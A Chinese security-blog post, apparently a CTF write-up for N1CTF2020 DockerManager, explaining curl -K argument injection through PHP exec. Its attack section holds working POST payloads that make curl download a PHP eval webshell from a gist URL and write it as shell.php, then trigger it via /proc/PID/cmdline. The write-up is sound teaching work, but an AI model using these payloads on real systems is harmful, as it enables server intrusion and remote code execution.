freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

从一道题目学习curl命令参数写入shell
qaz 2021-08-09 07:45:09 329635

[toc]

题目来源
[N1CTF2020]DockerManager

知识点

curl命令参数
linux基础知识
php命令执行参数拼接
爆破pid

环境搭建

从buu上下载下来源码

本来可以用docker直接搭建,但是出了些报错,心想解决报错,还不如直接拷贝代码到本地web环境,这里笔者使用docker中的宝塔环境

http://www.asura-apache.com:8383/phpinfo.php
PHP Version 5.4.45
_SERVER["SERVER_SOFTWARE"] Apache

代码审计及分析过程攻击思路


grab_request_var函数是相当于实现了
$_REQUESTS['xxx']这样的功能,用来传递参数

使用escapeshellarg函数进行过滤,

php版本是5.4.45可以使用00截断

$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
echo var_dump($cmd);
exec($cmd, $output, $ret);

这里将前端传递过来的几个参数进行拼接,然后使用exec函数执行命令
这里使用curl -K参数进行攻击

-K, --config <file> Read config from a file
     --connect-timeout <seconds> Maximum time allowed for connection
     --connect-to <HOST1:PORT1:HOST2:PORT2> Connect to host

 -g, --globoff       Disable URL sequences and ranges using {} and []
     --happy-eyeballs-timeout-ms <milliseconds> How long to wait in milliseconds for IPv6 before trying IPv4
     --haproxy-protocol Send HAProxy PROXY protocol v1 header

-E, --cert <certificate[:password]> Client certificate file and password

--key <key>     Private key file name

-K参数用来读取加载一个配置文件

/dev/full设备,类Unix系统中,/dev/full(常满设备)是一个特殊设备文件,总是在向其写入时返回设备无剩余空间(错误码为ENOSPC),读取时则与/dev/zero相似,返回无限的空字符(NULL, ASCII NUL, 0x00)。这个设备通常被用来测试程序在遇到磁盘无剩余空间错误时的行为。

在linux系统中,curl会产生进程,举个例子如下
image.png

会在
会在/proc目录下产生一个对应pid的目录,其目录下会有cmdline文件,记录了文件的执行的命令
我们可以利用这一点,将webshell相当于上传到服务器上
在利用curl -K参数去读取/dev/full或/dev/urandom文件时,会造成curl一直运行,一直在读取文件,进程也会一直存在
/proc/xxxpid/cmdline会记录我们的恶意操作
然后再次通过host参数传入我们要读取的/proc/xxxpid/cmdline,exec执行curl命令

攻击流程

在 github gist上随便写个一句话木马,在自己服务器上也行 一个道理
https://gist.githubusercontent.com/mo0rain/574987c02b0d885cf1528b25aef11311/raw/b68ffda8607d29bba6e39f4e127ad9580d845caf/gistfile1

<?php eval($_POST[a]);phpinfo();?>

http://asura-apache.com:8383/html1/view.php

post
cert=&key=&mode=&host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="https://gist.githubusercontent.com/mo0rain/574987c02b0d885cf1528b25aef11311/raw/b68ffda8607d29bba6e39f4e127ad9580d845caf/gistfile1"%0aoutput="shell.php"%0a%0a%0a%0a%0a%0a%0a

正常需要爆破pid,这里为了方便演示,在后台服务器上看一下pid


pid为1736


第一步就完成了

第二步

post
cert=&key=&mode=&host=-K/proc/1736/cmdline%00

相当于执行了这样的操作

[root@03cf837017a8 html1]# curl -K/proc/1736/cmdline
Warning: /proc/1736/cmdline:1: warning: 'curl' is unknown
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    34  100    34    0     0      8      0  0:00:04  0:00:04 --:--:--     8


成功生成木马

参考

https://www.zhaoj.in/read-6750.html
https://guokeya.github.io/post/E7S2ehXp7/

# linux # linux安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 qaz 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
从一道ctf题目学习系列
qaz LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 3 关注者
a3的安全学习周报-1
2021-08-09
windows本机环境 wsl配置-1
2021-08-04
ssrf攻击fastcgi复现及环境搭建
2021-05-29
文章目录